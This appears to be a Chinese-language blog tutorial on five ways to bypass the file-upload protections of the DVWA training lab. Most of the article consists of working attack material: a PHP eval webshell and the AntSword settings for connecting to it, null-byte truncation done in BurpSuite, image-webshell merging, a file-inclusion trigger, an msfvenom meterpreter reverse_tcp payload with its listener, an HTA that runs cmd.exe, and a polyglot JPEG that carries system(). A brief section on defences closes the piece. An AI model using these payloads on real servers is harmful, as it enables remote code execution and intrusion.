绕过DVWA文件上传限制的5种骚操作(含BurpSuite截断技巧)
DVWA文件上传漏洞的5种高阶绕过手法实战解析在渗透测试的实战环境中文件上传漏洞往往是最具破坏力的攻击入口之一。DVWADamn Vulnerable Web Application作为经典的漏洞演练平台其文件上传模块设置了从低到高的安全级别恰好为我们提供了研究防御机制的绝佳样本。本文将深入剖析五种突破不同安全级别的技术手法从基础的MIME类型欺骗到复杂的图片木马隐藏每个技巧都经过实战验证。1. 低安全级别的直接利用与蚁剑连接当DVWA处于low安全级别时系统对上传文件几乎没有任何过滤机制。这种场景下攻击者可以直接上传PHP、ASP等可执行脚本文件。以下是典型操作流程准备一句话木马文件shell.php内容为?php eval($_POST[cmd]);?通过DVWA文件上传界面直接提交该文件访问上传后的文件路径如http://target/dvwa/hackable/uploads/shell.php注意实际环境中建议使用蚁剑这类专业工具而非简单的一句话木马后者容易被安全设备检测连接蚁剑时的关键参数配置参数项示例值说明URL地址http://target/dvwa/hackable/uploads/shell.php木马文件完整路径连接密码cmd与木马文件中$_POST参数一致编码器default根据目标环境选择2. 中等级别的MIME类型欺骗技术当DVWA设置为medium安全级别时系统会检查上传文件的MIME类型。常规绕过方法包括BurpSuite拦截修改上传PHP文件时拦截HTTP请求修改Content-Type为image/jpeg转发请求完成上传文件扩展名伪装将shell.php重命名为shell.php.jpg上传后通过00截断技术恢复原始扩展名Hex截断操作关键步骤在BurpSuite的Hex视图中定位文件名部分将.jpg前的空格字符20修改为00系统在解析时会忽略00后的内容3. 高安全级别的复合攻击手法High级别的DVWA实施了更严格的后缀名检查此时需要组合多种技术3.1 图片木马隐藏技术通过将恶意代码附加到正常图片中实现绕过# Linux下合并图片与木马 cat normal.jpg shell.php malicious.jpg # Windows下合并需关闭实时防护 copy /b normal.jpg shell.php malicious.jpg上传后需要配合文件包含或命令执行漏洞激活木马http://target/dvwa/vulnerabilities/fi/?page../../hackable/uploads/malicious.jpg3.2 MSFVenom生成隐蔽载荷使用Metasploit框架生成更具隐蔽性的图片木马msfvenom -p php/meterpreter/reverse_tcp LHOST攻击机IP LPORT4444 -f raw payload.jpg监听端配置use exploit/multi/handler set payload php/meterpreter/reverse_tcp set LHOST 攻击机IP set LPORT 4444 exploit4. 高级绕过技巧HTA与Polyglot文件当常规图片马被防御时可尝试更隐蔽的攻击载体HTA文件伪装成文档的HTML应用!-- 保存为report.hta -- script languageVBScript Set objShell CreateObject(Wscript.Shell) objShell.Run(cmd.exe /c calc.exe) /scriptPolyglot文件同时符合多种文件格式规范的特殊文件# 使用Python生成既合法JPEG又含PHP代码的文件 with open(polyglot.jpg, wb) as f: f.write(b\xFF\xD8\xFF\xE0 b?php system($_GET[cmd]);?)5. 防御视角的检测与防护建议从防御者角度完整的防护策略应包含文件内容检测使用libmagic进行真实类型验证图像文件二次渲染处理存储策略上传文件重命名如UUID存储在非Web可访问目录执行限制location ~* \.(php|asp|jsp)$ { deny all; }实际渗透测试中这些技术需要根据目标环境灵活组合。在最近的一次红队评估中我们通过Polyglot文件配合.htaccess上传成功绕过了云WAF的多层检测机制。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2442399.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!